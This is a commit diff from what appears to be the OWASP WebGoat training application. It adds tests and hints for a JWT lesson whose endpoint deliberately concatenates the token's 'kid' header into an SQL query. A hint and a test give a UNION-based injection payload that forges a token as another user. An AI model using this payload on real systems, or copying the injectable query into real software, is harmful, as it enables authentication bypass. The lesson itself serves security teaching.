Added test cases for solving the lesson

This commit is contained in:
Nanne Baars 2018-05-21 18:42:50 +02:00
parent 60ef35e241
commit fd96ba18f1
4 changed files with 88 additions and 4 deletions

View File

@ -2,6 +2,7 @@ package org.owasp.webgoat.plugin;
import com.google.common.base.Charsets;
import io.jsonwebtoken.*;
import io.jsonwebtoken.impl.TextCodec;
import org.apache.commons.lang3.StringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
@ -20,6 +21,26 @@ import java.sql.ResultSet;
import java.sql.SQLException;
/**
* <pre>
* {
* "typ": "JWT",
* "kid": "webgoat_key",
* "alg": "HS256"
* }
* {
* "iss": "WebGoat Token Builder",
* "iat": 1524210904,
* "exp": 1618905304,
* "aud": "webgoat.org",
* "sub": "jerry@webgoat.com",
* "username": "Jerry",
* "Email": "jerry@webgoat.com",
* "Role": [
* "Cat"
* ]
* }
* </pre>
*
* @author nbaars
* @since 4/23/17.
*/
@ -54,9 +75,10 @@ public class JWTFinalEndpoint extends AssignmentEndpoint {
final String kid = (String) header.get("kid");
try {
Connection connection = DatabaseUtilities.getConnection(webSession);
System.out.println("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
while (rs.next()) {
return rs.getString(1).getBytes(Charsets.UTF_8);
return TextCodec.BASE64.decode(rs.getString(1));
}
} catch (SQLException e) {
errorMessage[0] = e.getMessage();

View File

@ -22,4 +22,4 @@ jwt-final-hint2=The 'kid' (key ID) header parameter is a hint indicating which k
jwt-final-hint3=The key can be located on the filesystem in memory or even reside in the database
jwt-final-hint4=The key is stored in the database and loaded while verifying a token
jwt-final-hint5=Using a SQL injection you might be able to manipulate the key to something you know and create a new token.
jwt-final-hint6=Use: key1' union all select 'abcdefg' limit 1,1 -- And change the contents of the token to Tom and hit the endpoint with the new token
jwt-final-hint6=Use: hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS -- as the kid in the header and change the contents of the token to Tom and hit the endpoint with the new token

View File

@ -1,5 +1,5 @@
== Final challenges
Same as before try to change the token and become admin, this assignment requires multiple attack scenarios.
Below you see two account, one of Jerry and one of Tom. Jerry wants to remove Toms account from Twitter, but his token
can only delete his own account. Can you try to help him and delete Toms account?

View File

@ -0,0 +1,62 @@
package org.owasp.webgoat.plugin;
import com.google.common.collect.Maps;
import io.jsonwebtoken.Jwts;
import org.hamcrest.CoreMatchers;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.util.Date;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
@RunWith(SpringJUnit4ClassRunner.class)
public class JWTFinalEndpointTest extends LessonTest {
private static final String TOKEN_JERRY = "eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8";
@Before
public void setup() {
JWT jwt = new JWT();
when(webSession.getCurrentLesson()).thenReturn(jwt);
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
when(webSession.getUserName()).thenReturn("unit-test");
}
@Test
public void solveAssignment() throws Exception {
String key = "deletingTom";
Map<String, Object> claims = Maps.newHashMap();
claims.put("username", "Tom");
String token = Jwts.builder()
.setHeaderParam("kid", "hacked' UNION select '" + key + "' from INFORMATION_SCHEMA.SYSTEM_USERS --")
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
.setClaims(claims)
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key)
.compact();
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete")
.param("token", token)
.content(""))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void withJerrysKeyShouldNotSolveAssignment() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete")
.param("token", TOKEN_JERRY)
.content(""))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-final-jerry-account"))));
}
}